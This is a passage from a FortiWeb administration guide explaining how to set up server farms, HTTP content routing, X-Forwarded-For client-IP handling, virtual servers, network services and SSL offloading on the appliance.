To access this part of the web UI, your administrator’s account access profile must have *Read* and *Write* permission to items in the *Server Policy Configuration* category. For details, see [“Permissions” on page 46](#).
3. Click *Create New*.
A dialog appears.
4. Configure these settings:

Server Farm Name server-farm-rp-http-route

Comments

Type

- ☐ Server Balance
- ☐ WSDL Content Routing
- ☒ HTTP Content Routing
- ☐ XML Content Routing
- ☐ Transparent Servers(for True Transparent Proxy Mode)
- ☐ Transparent Servers(for Transparent Inspection Mode)
- ☐ Offline Protection

OK **Cancel**

Create New

ID	Priority	Server	Port	SSL	Certificate File
1	3	mantis	80	Disable	
2	2	mantis2	80	Disable	

Clear all

Edit

Delete

Click to switch ascending/
descending sort order

Click to sort by this column

Setting name

Description

Server Farm Name

Type a name that can be referenced by other parts of the configuration. Do not use spaces or special characters. The maximum length is 35 characters.

Comments

Type a description of the server farm. The maximum length is 64 characters.

Setting name	Description
Type	Select the method of distribution that the FortiWeb appliance will use when forwarding connections to the web servers in this server farm. • Server Balance — Uses a load-balancing algorithm when distributing TCP connections amongst the web servers in a server farm. If a web server is unresponsive to the server health check, the FortiWeb appliance forwards subsequent connections to another web server in the server farm. This option is available only if the FortiWeb appliance is operating in reverse proxy mode. • HTTP Content Routing — Routes HTTP requests to a specific web server in a server farm by specifying the <code>Host :</code> or URL line in the HTTP header. This option applies when <i>Policy Type</i> in a server policy is <i>Web Protection</i>. To make this selection effective, you must also configure an HTTP routing policy. See “Routing based upon URL or “Host:” name” on page 252. Note: HTTP-based routing does <i>not</i> rewrite the <code>Host :</code> header or URL line. If you require this, such as for when you need to maintain continuity with the same web server for the client’s entire session, see “Rewriting & redirecting” on page 357. • Transparent Servers (for true transparent proxy or transparent inspection) — Allows connections to pass through the FortiWeb appliance, and apply a protection profile. This option is available only if the operation mode is either true transparent proxy or transparent inspection. • Offline Protection — Receive duplicates of connections to the server farm and apply an offline protection profile. This option is available only if operation mode is offline protection.

5. Click *OK*.
6. Click *Create New*.
A dialog appears.

7. Configure these settings:

Setting name	Description
ID	Type the index number of the web server entry within the server farm, or keep the field's default value of <code>auto</code> to let the FortiWeb appliance automatically assign the next available index number. The first web server will receive connections if you have configured HTTP content routing and the other server is unavailable. For round robin-style load-balancing, the index number indicates the order in which connections will be distributed.
Priority	Type the number representing the priority of the web server when redistributing HTTP requests when using HTTP header-based routing. Servers with lower numbers are higher priority. This option is visible only if <i>Type</i> is <i>HTTP Content Routing</i>. The valid range is from 0 to 65,535.
Server Type	Select either <i>Physical Server</i> or <i>Domain Server</i> to indicate how you have defined the web server that you want to be a member of the server farm. For details, see “Defining your web server by its IP address” on page 241 and “Defining your web server by its DNS domain name” on page 243.
Physical Server or Domain Server	Select the name of a definition (either by FQDN or by IP address) of a web server that will be a member of the server farm. The name of this option varies by your selection in <i>Server Type</i>. <i>Domain Server</i> is visible only if <i>Type</i> is <i>Server Balance</i> or <i>HTTP Content Routing</i>.

Setting name	Description
SSL	Enable if: - connections to the server use SSL, and - the FortiWeb appliance is operating in a mode other than reverse proxy Also configure Certificate File. Unlike HTTPS Service in policies, when you enable this option, the FortiWeb appliance will not apply SSL. Instead, it will use the certificate to decrypt and scan connections before passing the encrypted traffic through to the web servers or clients (SSL inspection). See “Offloading vs. inspection” on page 267. SSL 3.0, TLS 1.0, and TLS 1.1 are supported. See also “Supported cipher suites & protocol versions” on page 269. Caution: Failure to enable an SSL option and provide a certificate will result in the FortiWeb appliance being unable to decrypt HTTPS connections, and therefore unable to scan HTML, AMF3, or XML content. You must either enable either this option with Certificate File in the server farm (SSL inspection), or enable HTTPS Service with Certificate (SSL offloading). Note: When this option is enabled, the web server must be configured to apply SSL. The FortiWeb appliance will use the certificate to decrypt and scan traffic only. It will not offload SSL connections. Note: Ephemeral (temporary key) Diffie-Hellman exchanges are not supported if the FortiWeb appliance is operating in transparent inspection or offline protection mode.
Port	Type the TCP port number where the web server listens for connections. The valid range is from 0 to 65,535.
Certificate File	Select the web server’s certificate that the FortiWeb appliance will use when decrypting SSL-secured connections, or select <i>Create New</i> to upload a new certificate in a pop-up window, without leaving the current page. For more information, see “Uploading a server certificate” on page 279. This option appears only if SSL is enabled, and if FortiWeb is operating in a mode other than reverse proxy, that performs SSL inspection. See “Offloading vs. inspection” on page 267.

Setting name	Description
Certificate Verification	Select the name of a certificate verifier, if any, to use when an HTTP client presents their personal certificate. (If you do not select one, the client is not required to present a personal certificate. See also “How to apply PKI client authentication (personal certificates)” on page 283.) Personal certificates, sometimes also called user certificates, establish the identity of the person connecting to the web site. You can require that clients present a certificate alternatively or in addition to HTTP authentication (see “Offloading HTTP authentication & authorization” on page 221.) This option is available only if SSL is enabled, and only applies if the FortiWeb appliance is operating in transparent proxy mode. (For reverse proxy mode, configure this setting in the server policy instead. See Certificate Verification in “Configuring a server policy” on page 470.) Note: The client must support SSL 3.0 or TLS 1.0.
Client Certificate Forwarding	Enable to include the X.509 personal certificate presented by the client during the SSL/TLS handshake, if any, in an <code>X-Client-Cert</code>: HTTP header when forwarding the traffic to the protected web server. FortiWeb will still validate the client certificate itself, but this can be useful if the web server requires the client certificate for the purpose of server-side identity-based functionality. This option is available only if SSL is enabled, and only applies if the FortiWeb appliance is operating in transparent proxy mode. (For reverse proxy mode, configure this setting in the server policy instead. See Client Certificate Forwarding in “Configuring a server policy” on page 470.)
Certificate Intermediate Group	Select the name of a group of intermediate certificate authority (CA) certificates, if any, that will be presented to clients in order to complete the signing chain for them to validate the server certificate’s CA signature. If clients receive certificate warnings that the server certificate configured in Certificate File has been signed by an intermediary CA, rather than directly by a root CA or other CA currently trusted by the client, configure this option. Alternatively, include the entire signing chain in the server certificate itself before uploading it to the FortiWeb appliance, thereby completing the chain of trust with a CA already known to the client. See “Uploading a server certificate” on page 279 and “Supplementing a server certificate with its signing chain” on page 281. This option is available only if SSL is enabled, and only applies if the FortiWeb appliance is operating in transparent proxy mode. (For reverse proxy mode, configure this setting in the server policy instead. See Certificate Intermediate Group in “Configuring a server policy” on page 470.)

Setting name	Description
Weight	If the server farm will be used with the weighted round-robin load-balancing algorithm in the policy, type the numerical weight of the web server to be used when proportionately distributing TCP connections. Web servers with a greater weight will received a greater proportion of connections. This can be useful if, for example, some servers in the server farm are more powerful, or if a server could be already receiving fewer or more connections due to its role in multiple web sites. This field appears only if <i>Type</i> is <i>Server Balance</i>.
HTTP Content Routing	Select the name of an existing HTTP header-based routing policy, if any, that will be used to route requests to this web server in the server farm. See “Routing based upon URL or “Host:” name” on page 252. This field appears only if <i>Type</i> is <i>HTTP Content Routing</i>.

8. Repeat the previous steps for each web server that you want to add to the server farm.

9. Click *OK*.

10. To apply the server farm, select it within a server policy.

If the server farm will be used with a server policy whose *Deployment Mode* is one of the content routing modes, place the web server that you want to be the failover first in the list of web servers in the server farm. In content routing, each server in the server farm might not host identical web services. If a web server is unresponsive to the server health check, the FortiWeb appliance will forward subsequent connections to the first web server in the server farm, which will be considered to be the failover. ***Make sure the first web server can act as a backup for all other servers in the server farm.***

To monitor members of the server farm for responsiveness, configure a server health check for use with the server farm. For details, see “Configuring server up/down checks” on page 244.

See also

- [Defining your web server by its IP address](#)
- [Defining your web server by its DNS domain name](#)
- [Routing based upon URL or “Host:” name](#)
- [Configuring a server policy](#)
- [Configuring server up/down checks](#)
- [Sequence of scans](#)

Routing based upon URL or “Host:” name

Instead of forwarding requests to back-end servers based upon load or connection distribution at the TCP/IP layers, you can forward them based upon headers in the HTTP layer. This can be useful if specific web applications, functions, or host names are divided, and each served only by a specific web server on the back end — that is, each web server in the server farm is ***not*** identical, but is specialized, such as:

- 192.168.0.1 — Hosts the web site and blog
- 192.168.0.2 — Hosts movie clips and multimedia
- 192.168.0.3 — Hosts the shopping cart

HTTP header-based routes (called “HTTP content routing policies” in the web UI) each define a set of requests that will be routed to a specific back-end web server in your server farm, based upon the URL and/or `Host :` field in the HTTP header. Configure one HTTP content routing policy per web server.

If you have configured request rewriting, configure HTTP content-based routing using the original request URL and/or `Host :` name, as it appears **before** FortiWeb has rewritten it. For more information on rewriting, see [“Grouping rewriting & redirection rules” on page 375](#).

To configure an HTTP header-based routing policy

1. Go to *Server Objects > Server > HTTP Content Routing Policy*.

To access this part of the web UI, your administrator’s account access profile must have *Read* and *Write* permission to items in the *Server Policy Configuration* category. For details, see [“Permissions” on page 46](#).

2. Click *Create New*.

A dialog appears.

3. In *Name*, type a unique name that can be referenced in other parts of the configuration. Do not use spaces or special characters. The maximum length is 35 characters.

4. Click *OK*.

5. Click *Create New*.

6. Configure these settings:

Setting name	Description
Host Status	Enable if you want the rule to apply only to HTTP requests for a specific web host. Also configure Host .
Host	Select the name of a protected host that the <code>Host :</code> field of an HTTP request must be in to match the rule. This option is available only if Host Status is enabled.

Setting name	Description
Type	Select whether the <i>URL Pattern</i> field will contain a literal URL (<i>Simple String</i>), or a regular expression designed to match multiple URLs (<i>Regular Expression</i>).
URL Pattern	Depending on your selection in the <i>Type</i> field, enter either: - the literal URL, such as <code>/index.php</code>, that the HTTP request must contain in order to match the rule. The URL must begin with a backslash (<code>/</code>). - a regular expression, such as <code>^/*\.php</code>, matching all and only the URLs to which the rule should apply. The pattern does not require a slash (<code>/</code>); however, it must at match URLs that begin with a backslash, such as <code>/index.cfm</code>. Do not include the domain name, such as <code>www.example.com</code>, which is configured separately in the <i>Host</i> drop-down list. To create and test a regular expression, click the <code>>></code> (test) icon. This opens the <i>Regular Expression Validator</i> window where you can fine-tune the expression (see “Regular expression syntax” on page 658)

7. Click *OK*.

8. Repeat the previous 2 steps for each URL and/or *Host* : name that will be routed to this same back-end web server.

ID	Host	Host Status	URL Pattern	Type	
1		Disable	/ads*	Regular Expression	
2	www.example.com	Enable	/watch-episode	Simple String	

9. Click *OK*.

10. To apply an HTTP content routing policy, select it in *HTTP Content Routing* when adding a server to a server farm definition where the *Type* is *HTTP Content Routing*. For details, see “[Grouping your web servers into server farms](#)”.

See also

- [Defining your web server by its IP address](#)
- [Grouping your web servers into server farms](#)
- [Enabling or disabling traffic forwarding to your servers](#)
- [Configuring a server policy](#)
- [Configuring server up/down checks](#)

Example: Routing according to URL/path

Your FortiWeb appliance might have one virtual server (the front end) protecting three physical web servers (the back end).

From the perspective of clients connecting to the front end, there is one domain name: `www.example.com`. At this host name, there are three top-level URLs:

- `/games` — Game application
- `/school` — School application
- `/work` — Work application

In a client's web browser, therefore, they might go to the location:

`http://www.example.com/games`

Behind the FortiWeb, however, each of those 3 web applications actually resides on separate back-end web servers with different IP addresses:

- `10.0.0.11/games` — Game application
- `10.0.0.12/school` — School application
- `10.0.0.13/work` — Work application

In this case, you would configure HTTP content routing so FortiWeb routes HTTP requests to `http://www.example.com/school` to the appropriate back-end web server, `10.0.0.12`. Similarly, requests for the URL `/games` would go to `10.0.0.11`, and requests for the URL `/work` would go to `10.0.0.13`.

See also

- [Routing based upon URL or "Host:" name](#)
- [Defining your web server by its IP address](#)
- [Grouping your web servers into server farms](#)
- [Configuring server up/down checks](#)

Example: Routing according to the HTTP "Host:" field

Your FortiWeb appliance might have one virtual server (the front end) protecting three physical web servers (the back end).

From the perspective of clients connecting to the front end, Example Company's web site has a few domain names:

- `http://www.example.com`
- `http://www.example.cn`
- `http://www.example.de`
- `http://www.example.co.jp`

Public DNS resolve all of these domain names to one IP address: the virtual server on FortiWeb.

At the data center, behind the FortiWeb, some region-specific web sites are each hosted on separate physical web servers. Others have lighter traffic and are maintained by the same person, and therefore are hosted on a shared server. Each back-end web server has a DNS

alias. When configuring FortiWeb, each web server was defined using its DNS alias, rather than its IP address:

- www1.example.com — Hosts www.example.com, plus all other host names' content, in case the other web servers fail or have scheduled down time
- www2.example.com — Hosts www.example.de
- www3.example.com — Hosts www.example.cn & www.example.co.jp

While public DNS servers all resolve these aliases to the same IP address — FortiWeb's virtual server — your **private** DNS server resolves these DNS names to separate IPs on your **private** network: the back-end web servers.

- www1.example.com — Resolves to 192.168.0.1
- www2.example.com — Resolves to 192.168.0.2
- www3.example.com — Resolves to 192.168.0.3

In this case, you would configure HTTP content routing so FortiWeb routes requests from clients based upon the original `Host:` field in the HTTP header to the appropriate DNS alias. The destination back-end web server would be determined at request time using server health check statuses, as well private network DNS to resolve the DNS alias into its current private network IP address:

- http://www.example.com/ — Routes to www1.example.com
- http://www.example.de/ — Routes to www2.example.com, unless that web server is down, in which case those requests will be routed to www1.example.com
- http://www.example.cn/ & http://www.example.co.jp/ — Routes to www3.example.com, unless that web server is down, in which case those requests would be routed to www1.example.com

If necessary to maintain HTTP session continuity for web applications, you would also configure `Host:` name and hyperlink rewriting so that subsequent requests from the client would be forwarded to the same back-end web server.

See also

- [Routing based upon URL or "Host:" name](#)
- [Rewriting & redirecting](#)
- [Defining your web server by its DNS domain name](#)
- [Grouping your web servers into server farms](#)
- [Configuring server up/down checks](#)

Defining your proxies, clients, & X-headers

In some topologies, you must configure FortiWeb's use of X-headers such as `X-Forwarded-For:`, `X-Real-IP:`, or `True-Client-IP:`, including when:

- FortiWeb **has been deployed behind a proxy/load balancer which applies NAT**. Connection-wise, this causes all requests appear to come from the IP address of the proxy or load balancer, **not** the original client. FortiWeb **requires the true client's source IP so that when blocking attacks, it does not block the proxy/load balancer's IP, affecting innocent requests**. FortiWeb also requires some way to derive the original client's IP so that


attack logs and reports to show the IP of the actual attacker, rather than misleadingly blaming the load balancer.

- **The web server needs the client's source IP address** for purposes such as analytics, but FortiWeb is operating in reverse proxy mode, which applies NAT, and therefore all requests appear to come from FortiWeb's IP address.

Due to source NAT (SNAT), a packet's source address in its IP layer may have been changed, and therefore the original address of the client may not be directly visible to FortiWeb and/or its protected web servers. During a packet's transit from the client to the web server, it could be changed several times: web proxies, load balancers, routers, and firewalls can all apply NAT.

Depending on whether the NAT devices are HTTP-aware, the NAT device can record the packet's original source IP address in the HTTP headers. HTTP X-headers such as X-Real-IP: can be used by FortiWeb instead to trace the original source IP (and each source IP address along the path) in request packets. They may also be used by back-end web servers for client analysis.

Figure 36: Effects of source NAT at the IP and HTTP layers of request packets when in-between devices are HTTP-aware



Blocking the attacker's IP, not your load balancer

When you configure [Use X-Header to Identify Original Client's IP](#), FortiWeb compensates for NAT in your data center by using an HTTP header to derive the client's IP address. In this way, even if the connection is **not** established directly between the web browser and FortiWeb, but instead is relayed, with the last segment established between your proxy/load balancer's IP and FortiWeb, FortiWeb will still be able to report and block the actual attacker, rather than your own infrastructure.

Only public IPs will be used. If the original client's IP is a private network IP (e.g. 192.168.*, 172.16.*, 10.*), FortiWeb will instead use the first public IP before or after the original client's IP in the HTTP header line. (Whether this is counted from the left or right end of the header line depends on [IP Location in X-Header](#).) In most cases, this public IP will be the client's Internet gateway, and therefore blocking based on this IP may affect innocent clients that share the attacker's Internet connection. See also ["Shared IP" on page 509](#).

To limit the performance impact, FortiWeb will analyze the HTTP header for the client's IP only for the **first** request in the TCP/IP connection. As a result, **it is not suitable for use behind load balancers that multiplex** — that is, attempt to reduce total simultaneous TCP/IP connections by sending multiple, unrelated HTTP requests from different clients within the same TCP/IP connection. Symptoms of this misconfiguration include FortiWeb mistakenly attributing subsequent requests within the same TCP/IP connection to the IP found in the first request's

HTTP header, even though the X-header indicates that the request originated from a different client.

After FortiWeb has traced the original source IP of the client, FortiWeb will use it in attack logs and reports so that they reflect the true origin of the attack, **not** your load balancer or proxy. FortiWeb will also use the original source IP as the basis for blocking when using some features that operate on the source IP:

- DoS prevention
- brute force login prevention
- period block



Like addresses at the IP layer, attackers can spoof and alter addresses in the HTTP layer. Do not assume that they are 100% accurate, unless there are anti-spoofing measures in place such as defining trusted providers of X-headers.



X-header-derived client IPs are **not** supported by all features, including:

- “Blacklisting source IPs with poor reputation” on page 319
- “Blacklisting countries & regions” on page 321
- “Combination access control & rate limiting” on page 315
- “Restricting access to specific URLs” on page 311
- *Allow Known Search Engines*

To preserve connectivity troubleshooting capabilities, FortiWeb traffic logs do **not** use the original client IP from X-headers — only attack logs will.

For example, on FortiWeb, if you provide the IP address of the proxy or load balancer, when blocking requests and writing attack log messages or building reports, instead of using the SRC field in the IP layer of traffic as the client's IP address (which would cause all attacks to appear to originate from the load balancer), FortiWeb can instead find the client's real IP address in the X-Forwarded-For: HTTP header. FortiWeb could also add its own IP address to the chain in X-Forwarded-For:, helping back-end web servers that require the original client's source IP for purposes such as server-side analytics — providing news in the client's first language or ads relevant to their city, for example.

Figure 37: Attack log using X-Forwarded-For: to expose the attacker's true source IP at 172.20.120.220 instead of the load balancer's source IP at 172.20.120.5

Refresh Column Settings Raw Filter Settings Log Message Aggregation Log Search Detailed Information Log Management							
#	Date	Time	Source	Destination	Policy	URL	Message
1	2012-08-15	15:20:37	172.20.120.220	172.20.120.170	policy1	/twiki/bin/login/Main/WebHome	Body Length Exceeded
2	2012-08-15	15:17:27	172.20.120.220	172.20.120.170	policy1	/twiki/bin/view/Main/WebSearch	Too Many Parameters in Request

Like IP-layer NAT, some networks also translate addresses at the HTTP layer. In those cases, enabling *Use X-Header to Identify Original Client's IP* may have no effect. To determine the name of your network's X-headers, if any, and to see whether or not they are translated, use `diagnose network sniffer` in the CLI or external packet capture software such as Wireshark.

To configure FortiWeb to add the packet's source IP to X-Forwarded-For: and/or X-Real-IP:

1. Go to *Server Objects > X-Forwarded-For > X-Forwarded-For*.

2. Configure these settings:

New X-Forwarded-For Rule

Name

Add X-Forwarded-For: ☒
Enable to add an X-Forwarded-For: header with the connection's source IP. Requires reverse proxy mode.

Add X-Real-IP: ☒
Enable to add an X-Real-IP: header with the connection's source IP. Requires reverse proxy mode.

Use X-Header to Identify Original Client's IP ☐

IP Location in X-Header Left ☒ Right ☐

Block Using Original Client's IP ☐
If you have a front-end load balancer or proxy, enable to use the IP in an X-header, not the connection's source IP, to define the original client for logs and reports and, if enabled, blocking. To prevent forgery, define trusted sources of this header.

Trusted X-Header Sources

ID	IP	

Setting	Description
Name	Type a unique name that can be referenced in other parts of the configuration. Do not use spaces or special characters. The maximum length is 35 characters. Note: The name cannot be changed after this part of the configuration is saved. To rename a part of the configuration, clone it, select it in all parts of the configuration that reference the old name, then delete the item with the old name.

Setting	Description
Add X-Forwarded-For:	Enable to include the <code>X-Forwarded-For:</code> HTTP header on requests forwarded to your web servers. Behavior varies by the header already provided by the HTTP client or web proxy, if any. • Header absent — Add the header, using the source IP address of the connection. • Header present — Verify that the source IP address of the connection is present in this header's list of IP addresses. If it is not, append it. This option can be useful if your web servers log or analyze clients' IP addresses, and support the <code>X-Forwarded-For:</code> header. When this option is disabled, from the web server's perspective, all connections appear to be coming from the FortiWeb appliance, which performs network address translation (NAT). But when enabled, the web server can instead analyze this header to determine the source and path of the original client connection. <code>X-Forwarded-For:</code> normally contains a list of IP addresses that traces the packet's routing path through the IP network, and can also be used for that purpose. However, because it This option applies only when FortiWeb is operating in reverse proxy mode.
Add X-Real-IP:	Enable to include the <code>X-Real-IP:</code> HTTP header on requests forwarded to your web servers. Behavior varies by the header already provided by the HTTP client or web proxy, if any (see Add X-Forwarded-For:). Like <code>X-Forwarded-For:</code>, this header is also used by some proxies and web servers to trace the path, log, or analyze based upon the packet's original source IP address. This option applies only when FortiWeb is operating in reverse proxy mode.

3. Click *OK*.

To configure FortiWeb to obtain the packet's original source IP address from an HTTP header:

1. Go to *Server Objects > X-Forwarded-For > X-Forwarded-For*.

2. Configure these settings:

New X-Forwarded-For Rule

Name

Add X-Forwarded-For: ☐
Enable to add an X-Forwarded-For: header with the connection's source IP. Requires reverse proxy mode.

Add X-Real-IP: ☐
Enable to add an X-Real-IP: header with the connection's source IP. Requires reverse proxy mode.

Use X-Header to Identify Original Client's IP ☐
If you have a front-end load balancer or proxy, enable to use the IP in an X-header, not the connection's source IP, to define the original client for logs and reports and, if enabled, blocking. To prevent forgery, define trusted sources of this header.

IP Location in X-Header Left ☒ Right ☐

Block Using Original Client's IP ☐
If you have a front-end load balancer or proxy, enable to use the IP in an X-header, not the connection's source IP, to define the original client for logs and reports and, if enabled, blocking. To prevent forgery, define trusted sources of this header.

OK Cancel

Create New Trusted X-Header Sources

ID	IP

Setting	Description
Use X-Header to Identify Original Client's IP	If FortiWeb is deployed behind a device that applies NAT, enable this option to derive the original client's source IP address from an HTTP X-header, instead of the SRC field in the IP layer. Then type the key such as X-Forwarded-For or X-Real-IP, without the colon (:), of the X-header that contains the original source IP address of the client. This HTTP header is often X-Forwarded-For: when traveling through a web proxy, but can vary. For example, the Akamai service uses True-Client-IP:. For deployment guidelines and mechanism details, see "Blocking the attacker's IP, not your load balancer" on page 257. Caution: To combat forgery, configure the IP addresses of load balancers and proxies that are trusted providers of this header. Also configure those proxies/load balancers to reject fraudulent headers, rather than passing them to FortiWeb.
IP Location in X-Header	Select whether to extract the original client's IP from either the left or right end of the HTTP X-header line. Most proxies put the request's origin at the left end, which is the default setting. Some proxies, however, place it on the right end.
Block Using Original Client's IP	Enable to be able to block requests that violate your policies by using the original client's IP derived from this HTTP X-header. When disabled, only attack logs and reports will use the original client's IP.

3. Click OK.

4. Click *Create New*.

A sub-dialog appears.



The dialog box is titled "New X-Forwarded-For IP". It contains two input fields: "ID" with the value "auto" and "IP" with the value "10.0.0.1". At the bottom, there are two buttons: "OK" and "Cancel".

5. In *IP*, type the IP address of the external proxy or load balancer according to packets' SRC field in the IP layer when received by FortiWeb.
To apply anti-spoofing measures and improve security, FortiWeb will trust the contents of the HTTP header that you specified in [Use X-Header to Identify Original Client's IP only](#) if the packet arrived from one of the IP addresses you specify here. Other packets' X-headers will be regarded as potentially spoofed.
6. Click *OK*.
The first dialog re-appears.
7. Click *OK* to save the configuration.
8. To apply the X-header rule, select it when configuring an inline protection profile (see ["Configuring a protection profile for inline topologies" on page 456](#)).

See also

- [Logging](#)
- [Alert email](#)
- [SNMP traps & queries](#)
- [Reports](#)
- [DoS prevention](#)

Configuring virtual servers on your FortiWeb

Before you can create a server policy, you must first configure a virtual server that defines the network interface or bridge and IP address where traffic destined for an individual web server or server farm will arrive.



A virtual server on your FortiWeb is **not** the same as a virtual host on your web server. A virtual server is more similar to a virtual IP on a FortiGate. It is not an actual server, but simply defines the listening network interface.

When the FortiWeb appliance receives traffic destined for a virtual server, it can then forward the traffic to a web server or a server farm. The FortiWeb appliance identifies traffic as being destined for a specific virtual server if:

- the traffic arrives on the network interface or bridge associated with the virtual server
- for reverse proxy mode, the destination address is the IP address of a virtual server (the destination IP address is ignored in other operation modes, **except** that it must **not** be identical with the web server's IP address)



Virtual servers can be on the same subnet as real web servers. This configuration creates a one-arm HTTP proxy. For example, the virtual server 10.0.0.1/24 could forward to the web server 10.0.0.2.

However, this is not recommended. Unless your network's routing configuration prevents it, it could allow clients that are aware of the web server's IP address to bypass the FortiWeb appliance by accessing the real web server directly.

To configure a virtual server

1. Go to *Server Objects > Server > Virtual Server*.

+ Create New Edit Delete					
	#	Name	IP Address	Interface	Enable
☐	1	VServer_1	172.20.120.28 / 255.255.255.0	port2	☒
☒	2	VServer_2	172.20.120.27 / 255.255.255.0	port1	☒

Each server entry includes an *Enable* check box, marked by default. Clear this check box if you need to disable the server. See [“Enabling or disabling traffic forwarding to your servers” on page 265](#).

To access this part of the web UI, your administrator's account access profile must have *Read* and *Write* permission to items in the *Server Policy Configuration* category. For details, see [“Permissions” on page 46](#).

2. Click *Create New*.

A dialog appears.

New Virtual Server

Name

IP Address

0.0.0.0/255.255.255.0

Interface

[Please select]

OK

Cancel

3. In *Name*, type a unique name that can be referenced by other parts of the configuration. Do not use spaces or special characters. The maximum length is 35 characters.
4. In *IP Address*, type the IP address and subnet of the virtual server.

If the FortiWeb appliance is operating in offline protection mode or either of the transparent modes, this IP address is ignored when deciding whether or not to apply a server policy to the connection, and can therefore be any IP address. There is one exception: it must **not** be identical to the web server. If the virtual server's IP is identical to the real web server, the configuration will not function.



If a policy has **any** virtual servers with IPv6 addresses, it will **not** apply features that do not yet support IPv6, even if they are selected.

5. In *Interface*, select the network interface or bridge to which the virtual server is bound, and where traffic destined for the virtual server will arrive. To configure an interface or bridge, see [“Network interface or bridge?” on page 109](#).
6. Click **OK**.
7. To define the listening port of the virtual server, create a custom service (see [“Defining your network services” on page 264](#)).
8. To use the virtual server, select both it and the custom service in a server policy (see [“Configuring a server policy” on page 470](#)).

Defining your network services

Network services define the application layer protocols and port number on which your FortiWeb will listen for web traffic.

Policies must specify either a predefined or custom network service to define which traffic the policy will match. (Exceptions include server policies whose *Deployment Mode* is *Offline Protection*.)

See also

- [Defining custom services](#)
- [Predefined services](#)

Defining custom services

Server Objects > Service > Custom enables you to configure custom services.

Predefined services are available for standard [IANA port numbers](#) for HTTP and HTTPS (see [“Predefined services” on page 265](#)). If your virtual server will receive traffic on non-standard port numbers, however, you must define your custom service.


To configure a custom service

1. Go to *Server Objects > Service > Custom*.

To access this part of the web UI, your administrator’s account access profile must have *Read* and *Write* permission to items in the *Server Policy Configuration* category. For details, see [“Permissions” on page 46](#).

2. Click *Create New*.

A dialog appears.



3. In *Name*, type a name that can be referenced by other parts of the configuration. Do not use spaces or special characters. The maximum length is 35 characters.
4. In *Port*, type the port number of the service (by definition of HTTP and HTTPS, only *TCP* is available).

The port number must be unique among your custom and predefined services. The valid range is from 0 to 65,535.

5. Click *OK*.
6. To use the custom service definition to define the listening port of a virtual server on the FortiWeb, select it as the [HTTP Service](#) or [HTTPS Service](#) when configuring a policy (see “Configuring a server policy” on page 470).

See also

- [Predefined services](#)
- [Configuring a server policy](#)

Predefined services

Server Objects > Service > Predefined displays the list of predefined services.

Predefined services are according to standard [IANA port numbers](#): TCP port 80 for HTTP and TCP port 443 for HTTPS.

To use the predefined service definition to define the listening port of a virtual server on the FortiWeb, select it as the [HTTP Service](#) or [HTTPS Service](#) when configuring a policy (see “Configuring a server policy” on page 470).

To access this part of the web UI, your administrator’s account access profile must have *Read* permission to items in the *Server Policy Configuration* category. For details, see “[Permissions](#)” on page 46.

Name	Detail
HTTP	TCP/ 80
HTTPS	TCP/ 443

See also

- [Defining your network services](#)
- [Configuring a server policy](#)

Enabling or disabling traffic forwarding to your servers

You can individually enable and disable FortiWeb’s forwarding of HTTP/HTTPS traffic to your web servers. Mark or clear the *Enable* check box on either:

- *Server Objects > Server > Virtual Server*
- *Server Objects > Server > Physical Server*
- *Server Objects > Server > Domain Server*

Figure 38:Disabling traffic forwarding to a web server

Create New Edit Delete				
#	Name	IP Address	Enable	
1	doclab	172.20.120.27	☐	☒
2	pserver1	172.20.120.168	☒	☒



Disabling policies only affects HTTP/HTTPS traffic. To disable forwarding of FTP or other traffic, use the CLI command `config router setting`.

Disabled virtual servers can be selected in a server policy, but will result in a policy that is unable to forward traffic until the virtual server is enabled.

You can select disabled physical and domain servers for a server farm, but they will not be used when forwarding traffic.

By default, physical and domain servers are enabled and the FortiWeb appliance can forward traffic to them. To prevent traffic from being forwarded to a physical server, such as when the server will be unavailable for a long time due to repairs, you can disable it. If the disabled physical server is a member of a load-balanced server farm, the FortiWeb appliance will automatically forward connections to other enabled physical servers in the server farm. For content-based routing to server farms, the FortiWeb appliance will forward connections to the first physical server in the server farm.



If the physical or domain server is a member of a server farm and will be unavailable only temporarily, you can alternatively configure a server health check to automatically prevent the FortiWeb appliance from forwarding traffic to that physical server when it is unresponsive. For details, see [“Configuring server up/down checks” on page 244](#).



Disabling a physical or domain server could block traffic matching policies in which you have selected the physical server, or selected a server farm in which the physical server is a member.

See also

- [Defining your web server by its IP address](#)
- [Defining your web server by its DNS domain name](#)
- [Configuring virtual servers on your FortiWeb](#)
- [Grouping your web servers into server farms](#)
- [Enabling or disabling a policy](#)

Secure connections (SSL/TLS)

When a FortiWeb appliance initiates or receives an SSL or TLS connection, it will use certificates. Certificates can be used in HTTPS connections for:

- encryption
- decryption and inspection
- authentication of clients
- authentication of servers




FortiWeb may require you to provide certificates and CRLs even if your web sites' clients do not use HTTPS to connect to the web sites.

For example, when sending alert email via SMTPS or querying an authentication server via LDAPS or STARTTLS, FortiWeb will validate the server's certificate by comparing the server certificate's CA signature with the certificates of CAs that are known and trusted by the FortiWeb appliance. See [“Uploading trusted CAs' certificates” on page 270](#) and [“Revoking certificates” on page 308](#).

Offloading vs. inspection

Depending on the FortiWeb appliance's operation mode, FortiWeb can act as the SSL/TLS terminator: instead of clients having an encrypted tunnel along the **entire** path to a back-end server, the client's HTTPS request is encrypted/decrypted **partway** along its path to the server, when it reaches the FortiWeb. FortiWeb then is typically configured to forward unencrypted HTTP traffic to your servers. When the server replies, the server connects to the FortiWeb via clear text HTTP. FortiWeb then encrypts the response and forwards it via HTTPS to the client.

In this way, FortiWeb bears the load for encryption processing instead of your back-end servers, allowing them to focus resources on the network application itself. This is called **SSL offloading**.



SSL offloading can be associated with improved SSL/TLS performance. In hardware models with specialized ASIC chip SSL accelerator(s), FortiWeb can encrypt and decrypt packets at better speeds than a back-end server with a general-purpose CPU.

When SSL offloading, the web server does not use its own server certificate. Instead, FortiWeb acts like an SSL proxy for the web server, possessing the web server's certificate and using it to:

- authenticate itself to clients
- decrypt requests
- encrypt responses

whenever a client requests an HTTPS connection to that web server.

As a side effect of being an SSL terminator, the FortiWeb is in possession of both the HTTP request and reply in their decrypted state. Because they are not encrypted at that point on the path, FortiWeb can rewrite content and/or route traffic based upon the contents of Layer 7 (the application layer). Otherwise Layer 7 content-based routing and rewriting would be impossible: that part of the packets would be encrypted and unreadable to FortiWeb.



Secure traffic between FortiWeb and back-end servers when using SSL offloading. Failure to do so will compromise the security of all offloaded sessions. No attack will be apparent to clients, as SSL offloading cannot be detected by them, and therefore they will not receive any alerts that their session has been compromised.


For example, you might pass decrypted traffic to back-end servers as directly as possible, through one switch that is physically located in the same locked rack, and that has no other connections to the overall network.

However, depending on the operation mode, FortiWeb is **not** always an SSL terminator.

